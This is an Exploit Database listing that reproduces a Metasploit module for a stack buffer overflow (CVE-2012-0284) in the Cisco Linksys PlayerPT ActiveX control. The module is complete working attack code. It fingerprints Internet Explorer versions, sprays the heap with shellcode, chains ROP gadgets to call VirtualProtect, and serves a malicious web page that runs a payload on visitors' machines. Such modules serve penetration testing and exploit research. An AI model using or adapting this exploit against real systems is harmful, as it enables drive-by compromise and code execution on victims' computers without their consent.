Cisco Linksys PlayerPT – ActiveX Control SetSource sURL argument Buffer Overflow (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2012-08-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/20202/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::Remote::Seh
  	include Msf::Exploit::Remote::BrowserAutopwn
  
  	autopwn_info({
  		:ua_name=> HttpClients::IE,
  		:ua_minver=> "6.0",
  		:ua_maxver=> "9.0",
  		:javascript => true,
  		:os_name=> OperatingSystems::WINDOWS,
  		:classid=> "{9E065E4A-BD9D-4547-8F90-985DC62A5591}",
  		:method => "SetSource",
  		:rank => NormalRanking
  	})
  
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Cisco Linksys PlayerPT ActiveX Control SetSource sURL argument Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15
  				as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ
  				Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in
  				the SetSource method, when handling a specially crafted sURL argument, allows to
  				trigger a stack based buffer overflow which leads to code execution under the
  				context of the user visiting a malicious web page.
  			},
  			'Author' =>
  				[
  					'Carsten Eiram', # Vuln discovery
  					'juan' # Metasploit module
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'CVE', '2012-0284' ],
  					[ 'BID', '54588' ],
  					[ 'URL', 'http://secunia.com/secunia_research/2012-25/' ],
  
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  
  				},
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'DisableNops' => true,
  				},
  			'DefaultOptions'=>
  				{
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Automatic', {} ],
  					[
  						'IE 6 on Windows XP SP3',
  						{
  							'SprayBlocks' => 0x185,
  							'SprayOffset' => '0x0',
  							'Ret' => 0x0c0c0c0c,
  							'Rop' => nil,
  							'RandomHeap' => false
  						}
  					],
  					[
  						'IE 7 on Windows XP SP3 / Windows Vista SP2',
  						{
  							'SprayBlocks' => 0x185,
  							'SprayOffset' => '0x0',
  							'Ret' => 0x0c0c0c0c,
  							'Rop' => nil,
  							'RandomHeap' => false
  						}
  					],
  					[
  						'IE 8 on Windows XP SP3',
  						{
  							'SprayBlocks' => 0x185,
  							'SprayOffset' => '0x0',
  							'Ret' => 0x77c3546b, # ret from msvcrt
  							'StackPivot_1' => 0x77c3546a, # pop ebp; ret from msvcrt
  							'StackPivot_2' => 0x77c35468, # mov esp,ebp; pop ebp; ret from msvcrt
  							'Rop' => :msvcrt,
  							'RopChainOffset' => '0x5f4',
  							'RandomHeap' => false
  						}
  					],
  					[
  						'IE 8 with Java 6 on Windows XP SP3',
  						{
  							'SprayBlocks' => 0x185,
  							'SprayOffset' => '0x0',
  							'Ret' => 0x7c3424f2, # ret from msvcr71.dll
  							'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
  							'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
  							'Rop' => :jre,
  							'RopChainOffset' => '0x5f4',
  							'RandomHeap' => false
  						}
  					],
  					[
  						'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',
  						{
  							'SprayBlocks' => 0x185,
  							'SprayOffset' => '0x0',
  							'Ret' => 0x7c3424f2, # ret from msvcr71.dll
  							'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
  							'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
  							'Rop' => :jre,
  							'RopChainOffset' => '0x5f4',
  							'RandomHeap' => false
  						}
  					],
  					[
  						'IE 9 with Java 6 on Windows 7 SP1',
  						{
  							'SprayBlocks' => 0x1000,
  							'SprayOffset' => '0x0',
  							'Ret' => 0x7c3424f2, # ret from msvcr71.dll
  							'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll
  							'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll
  							'Rop' => :jre,
  							'RopChainOffset' => '0x5fe',
  							'RandomHeap' => true,
  						}
  					]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Jul 17 2012',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
  			], self.class
  		)
  
  	end
  
  	def get_easy_spray(t, js_code, js_nops)
  
  		spray = <<-JS
  		var heap_obj = new heapLib.ie(0x20000);
  		var code = unescape("#{js_code}");
  		var nops = unescape("#{js_nops}");
  
  		while (nops.length < 0x80000) nops += nops;
  
  		var offset = nops.substring(0, #{t['SprayOffset']});
  		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  
  		while (shellcode.length < 0x40000) shellcode += shellcode;
  		var block = shellcode.substring(0, (0x80000-6)/2);
  
  		heap_obj.gc();
  		for (var z=1; z < #{t['SprayBlocks']}; z++) {
  			heap_obj.alloc(block);
  		}
  
  		JS
  
  		return spray
  
  	end
  
  	def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)
  
  		spray = <<-JS
  
  		var heap_obj = new heapLib.ie(0x20000);
  		var code = unescape("#{js_code}");
  		var nops = unescape("#{js_nops}");
  		var nops_90 = unescape("#{js_90_nops}");
  		var rop_chain = unescape("#{js_rop}");
  
  		while (nops.length < 0x80000) nops += nops;
  		while (nops_90.length < 0x80000) nops_90 += nops_90;
  
  		var offset = nops.substring(0, #{t['SprayOffset']});
  		var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);
  		var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);
  
  
  		while (shellcode.length < 0x40000) shellcode += shellcode;
  		var block = shellcode.substring(0, (0x80000-6)/2);
  
  
  		heap_obj.gc();
  		for (var z=1; z < #{t['SprayBlocks']}; z++) {
  			heap_obj.alloc(block);
  		}
  
  		JS
  
  		return spray
  
  	end
  
  	# Spray published by corelanc0d3r
  	# Exploit writing tutorial part 11 : Heap Spraying Demystified
  	# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
  	def get_random_spray(t, js_rop, js_code, js_90_nops)
  
  		spray = <<-JS
  
  		function randomblock(blocksize)
  		{
  			var theblock = "";
  			for (var i = 0; i < blocksize; i++)
  			{
  				theblock += Math.floor(Math.random()*90)+10;
  			}
  			return theblock;
  		}
  
  		function tounescape(block)
  		{
  			var blocklen = block.length;
  			var unescapestr = "";
  			for (var i = 0; i < blocklen-1; i=i+4)
  			{
  				unescapestr += "%u" + block.substring(i,i+4);
  			}
  			return unescapestr;
  		}
  
  		var heap_obj = new heapLib.ie(0x10000);
  
  		var rop = unescape("#{js_rop}");
  		var code = unescape("#{js_code}");
  		var nops_90 = unescape("#{js_90_nops}");
  
  		while (nops_90.length < 0x80000) nops_90 += nops_90;
  
  		var offset_length = #{t['RopChainOffset']};
  
  		for (var i=0; i <#{t['SprayBlocks']}; i++) {
  			var padding = unescape(tounescape(randomblock(0x1000)));
  			while (padding.length < 0x1000) padding+= padding;
  			var junk_offset = padding.substring(0, offset_length - code.length);
  			var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
  			while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
  			sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
  			heap_obj.alloc(sprayblock);
  		}
  
  		JS
  
  		return spray
  	end
  
  
  	def junk(n=4)
  		return rand_text_alpha(n).unpack("V").first
  	end
  
  	def nop
  		return make_nops(4).unpack("V").first
  	end
  
  	def get_stack_pivot(t)
  		stack_pivot = [
  			junk,
  			junk,
  			junk,
  			junk,
  			junk,
  			t['StackPivot_1'], # pop ebp # ret # ESP points here after controlling EIP with overflow
  			0x0c0c0c08,# ebp
  			t['StackPivot_2']# mov esp,ebp # pop ebp # ret
  		].pack("V*")
  
  		return stack_pivot
  	end
  
  	def get_rop_chain(t)
  
  		# Both ROP chains generated by mona.py - See corelan.be
  		case t['Rop']
  			when :msvcrt
  				print_status("Using msvcrt ROP")
  				rop =
  					[
  						0x77C21891,# POP ESI # RETN
  						0x0c0c0c04,# ESI
  						0x77c4e392,# POP EAX # RETN
  						0x77c11120,# <- *&VirtualProtect()
  						0x77c2e493,# MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
  						junk,
  						0x77c2dd6c,# XCHG EAX,ESI # ADD BYTE PTR [EAX],AL # RETN
  						0x77c4ec00,# POP EBP # RETN
  						0x77c35459,# ptr to 'push esp #ret'
  						0x77c47705,# POP EBX # RETN
  						0x00001000,# EBX
  						0x77c3ea01,# POP ECX # RETN
  						0x77c5d000,# W pointer (lpOldProtect) (-> ecx)
  						0x77c46100,# POP EDI # RETN
  						0x77c46101,# ROP NOP (-> edi)
  						0x77c4d680,# POP EDX # RETN
  						0x00000040,# newProtect (0x40) (-> edx)
  						0x77c4e392,# POP EAX # RETN
  						nop, # NOPS (-> eax)
  						0x77c12df9,# PUSHAD # RETN
  					].pack("V*")
  
  			when :jre
  				print_status("Using JRE ROP")
  				rop =
  					[
  						0x7c37653d,# POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
  						0x00001000,# (dwSize)
  						0x7c347f98,# RETN (ROP NOP)
  						0x7c3415a2,# JMP [EAX]
  						0xffffffff,
  						0x7c376402,# skip 4 bytes
  						0x7c345255,# INC EBX # FPATAN # RETN
  						0x7c352174,# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
  						0x7c344f87,# POP EDX # RETN
  						0x00000040,# flNewProtect
  						0x7c34d201,# POP ECX # RETN
  						0x7c38b001,# &Writable location
  						0x7c347f97,# POP EAX # RETN
  						0x7c37a151,# ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
  						0x7c378c81,# PUSHAD # ADD AL,0EF # RETN
  						0x7c345c30,# ptr to 'push esp #ret '
  					].pack("V*")
  		end
  
  		return rop
  	end
  
  	def get_target(agent)
  		#If the user is already specified by the user, we'll just use that
  		return target if target.name != 'Automatic'
  
  		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
  			return targets[1]#IE 6 on Windows XP SP3
  		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
  			return targets[2]#IE 7 on Windows XP SP3
  		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
  			return targets[2]#IE 7 on Windows Vista SP2
  		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
  			return targets[3]#IE 8 on Windows XP SP3
  		elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
  			return targets[5]#IE 8 on Windows 7 SP1/Vista SP2
  		elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
  			return targets[6]#IE 9 on Windows 7 SP1
  		else
  			return nil
  		end
  	end
  
  	def on_request_uri(cli, request)
  
  		agent = request.headers['User-Agent']
  		print_status("User-agent: #{agent}")
  
  		my_target = get_target(agent)
  
  		# Avoid the attack if the victim doesn't have a setup we're targeting
  		if my_target.nil?
  			print_error("Browser not supported: #{agent}")
  			send_not_found(cli)
  			return
  		end
  
  		p = payload.encoded
  		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
  		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
  		js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
  
  		if not my_target['Rop'].nil?
  			js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
  		end
  
  		js = ""
  
  		if my_target['RandomHeap']
  			js = get_random_spray(my_target, js_rop, js_code, js_90_nops)
  		elsif not my_target['Rop'].nil?
  			js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops)
  		else
  			js = get_easy_spray(my_target, js_code, js_nops)
  		end
  
  		js = heaplib(js, {:noobfu => true})
  
  		if datastore['OBFUSCATE']
  			js = ::Rex::Exploitation::JSObfu.new(js)
  			js.obfuscate
  		end
  
  		sploit = "http://"
  		sploit << "\x0c" * 261
  		sploit << [my_target.ret].pack("V")
  		if not my_target['Rop'].nil?
  			sploit << get_stack_pivot(my_target)
  		end
  		sploit << "/img/video.asf"
  
  		html = <<-MYHTML
  		<html>
  		<head>
  		<script>
  		#{js}
  		</script>
  		</head>
  		<body>
  		<object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' /></object>
  		<script>
  			obj.SetSource("#{sploit}","mpeg","","","");
  		</script>
  		</body>
  		</html>
  		MYHTML
  
  		html = html.gsub(/^\t\t/, '')
  
  		print_status("Sending html")
  		send_response(cli, html, {'Content-Type'=>'text/html'})
  	end
  end